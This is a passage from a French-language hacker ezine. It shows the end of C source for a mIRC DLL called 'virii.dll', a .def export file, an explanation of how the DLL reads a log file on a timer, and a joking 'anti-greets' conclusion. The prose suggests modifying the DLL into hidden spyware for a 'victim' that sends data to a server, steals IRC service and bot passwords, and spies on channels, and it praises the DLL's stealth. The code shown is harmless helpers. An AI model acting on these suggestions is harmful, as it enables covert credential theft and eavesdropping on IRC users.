(!lpAddress || dwSize <= 0) { return (LPVOID)NULL; } if (VirtualQuery(lpAddress,&mbi,sizeof(mbi)) < sizeof(mbi)) { return (LPVOID)NULL; } if (!(lpNewAddress = VirtualAlloc((LPVOID)NULL, dwSize,mbi.State,mbi.AllocationProtect))) { return (LPVOID)NULL; } CopyMemory(lpNewAddress,lpAddress,min(mbi.RegionSize,dwSize)); VirtualFree(lpAddress,0,MEM_RELEASE); return lpNewAddress; } // mon équivalent de strchr() mais pour les TCHAR* TCHAR *ltcschr(const TCHAR *string,TCHAR c) { TCHAR *tcsPos; if (!string) return (TCHAR*)NULL; tcsPos = (TCHAR*)string; while (tcsPos && *(tcsPos = CharNext(tcsPos))) { if (tcsPos[0] == c) return tcsPos; } return (TCHAR*)NULL; } // fonction très LAME et très NON optimisé qui émule une partie de la // fonctionnalité de itoa() mais pour les TCHAR* TCHAR *litotcs(int value,TCHAR *buffer) { TCHAR tcsNumeric[] = _T("0123456789"); // tableau de conversion TCHAR c; int i, j = 0; // si le buffer est non valide if (!buffer) return (TCHAR*)NULL; // si le nombre est négatif, rajouter le signe '-' devant le nombre if (value < 0) { buffer[j] = _T('-'); ++j; } // BIG MESS que je veux pas expliquer, mais 'long story short' la boucle // 'do while' traduit le nombre en chaine, mais produit l'effet miroir. // Donc si mon nombre est: // 1234 // cette bloucle la traduit comme suit: // 4321 // La dernière boucle, 'while', règle se problème en remettant les nombres // le bon ordre. do { i = value % 10; buffer[j] = tcsNumeric[i]; value /= 10; ++j; } while (value); buffer[j] = 0; --j; i = 0; while (j >=0 && j > i) { c = buffer[j]; buffer[j] = buffer[i]; buffer[i] = c; --j; ++i; } // retourne l'adresse du buffer return buffer; } // fonction qui explique ce qui à mal tourné si la DLL est compilée // en mode DEBUG void DebugError(LPTSTR lpszFunction) { #if defined(_DEBUG) LPVOID lpMsgBuf; LPVOID lpDisplayBuf; DWORD dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, (lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40) *sizeof(TCHAR)); wsprintf((LPTSTR)lpDisplayBuf, TEXT("%s failed with error %d: %s"), lpszFunction, dw, lpMsgBuf); MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); LocalFree(lpMsgBuf); LocalFree(lpDisplayBuf); #endif }
La DLL 'virii.dll' fait très peu de chose, mais vous montre un peu le ce que vous pouvez faire. Elle commence par initialiser quelque variable et ensuite lance un 'timer' qui va exécuter une fonction callback, ici 'ParseData', toutes les 120 secondes. 'ParseData' ouvre le fichier passé en paramètre plutôt et lis le contenu qui s’y trouve. Elle garde en mémoire l'offset pour ne pas relire les mêmes données. Puis elle les conserve dans un buffer ('ptcsData'). Ensuite elle tente de trouver des chaines qui se terminent avec le caractère 'Newline'. Pour chaque ligne trouvée, elle les affiche dans un MessageBox. Lorsque mIRC décharge la DLL, elle s'assure de libérer les espaces mémoire qu'elle à alloué. OMG! J'allais presque oublier. Vous devrez surement créer un fichier .def sinon mIRC ne trouvera pas les fonctions que vous voudrez exécuter. mIRC s'attend à avoir des fonctions suivant la convention __stdcall*, mais par défaut Visual Studio utilise la convention __cdecl*. Donc vous nom de fonction vont être à la compilation. Prenons la fonction 'initDll', après compilation elle se nommera '_initDll@24'. Le fichier .def vous permet de créer des alias. On pourra donc créer un alias 'initDll' pour la fonction '_initDll@24'. Règle générale, le nombre apres le '@' c'est simplement le nombre de paramètres que prend votre fonction, multipliée par 4. 'initDll' prend 6 paramètres, donc 6*4 = 24. 'UnloadDll' et LoadDll' prennent un seul paramètre, donc 1*4 = 4. Voici le .def si vous en avez besoin. //=--------------------- virii.def -----------------------= LIBRARY virii EXPORTS LoadDll = _LoadDll@4 UnloadDll = _UnloadDll@4 initDll = _initDll@24 //=-------------------------------------------------------= La DLL est très non pratique, mais avec quelques modifications, vous pouvez la faire se connecter sur un serveur quelconque et transmettre les données que vous jugez intéressantes. Vous pouvez regarder pour des password utilisés auprès des services de certains serveur IRC (x pour undernet) ou pour des passwords de bots. Vous pouvez espionner des conversations sur des canaux en particulier, etc. Les idées de manque pas. Les avantages d'utiliser une DLL est d'abord et avant tout le contrôle qu'elle nous donne. Ensuite la vitesse de traitement; vous pouvez donc effectuer plus de manipulation que la victime ressente un ralentissement au niveau du programme. Et bien sûr, c'est beaucoup plus furtif. Si on compare avec l'exemple précédent (le script), la victime peut s'apercevoir que quelque chose ne tourne pas rond via l'éditeur de script, le menu fenêtre, via les identifiants $script et $window. Pour la DLL, seul l'identifiant $dll peut révéler notre présence. 6. Conclusion Enjoy! _____ ________ ________ ______ ____ __ __ _ /____/ / // // /\ \\ \\ \ \ \ \\ \ ___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \ | | | / / \ | | | | / /\ \ __|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _ __\\________\\______\\__\\____________//__//_/ /_/ // / |\\ | | | | | / / \ \ | \\| | \___/ | / / /\ \ \ | \ \ / / / / \ \ \ \ | \_______/ / / / /\ \ \ \ __|\\ |______________/ /___/ / \ \___\ \____ ___ __ _ | \\| / / \ \ |__\. /\ topic _________________________________________________________ | Conclusion Wyzeman | _________________________________________________________| | / / | | / / | | / / | | / / | |/ / | | / & | / & | / / \ |/ [ Anti-Greets ] | | 1) binf, pour l'ensemble de son oeuvre. | 2) les républicains américains, pour être presque | aussi cave que binf. | 3) le old staff de Mindkind, pour se pogner le cul | et vouloir un groupe actif. | 4) les 700 fautes leguées par les auteurs du ezine, | pcq c'est plate a corriger en sacrament. | 5) h3, pour ne pas avoir livré le design html du ezine | a temps et avoir forcé Ninja a en faire un de fortune. | 6) Qwzykx, pour ne pas avoir livré la conclusion | alors que yavais juste a la copier paster quelque | par. | 7) les sage squaw, pour le port de la moustache. | 8) les imbéciles, qui demande un whopper Jr sans ognion | avec une rondelle d'ognion à la place du frite, | pcq c'est cave. | 9) les Francais qui se sentent personnellement attaqués | quand ils voient une faute d'orthographe, pcq c'est | cave. | 10) le ezine Rafale, pcq le nom est laite en criss. | 11) le réchauffement de la planète, pcq ca fait 20 ans | qu'on en parle, mais tout le monde est trop cave | pour agir. | 12) la mère de binf, pour binf. | 13) les anti-greetz qui finissent pas, pcq c'est plate. ____| Sur ce, si vous êtes triste que ça soit terminé, clicker ici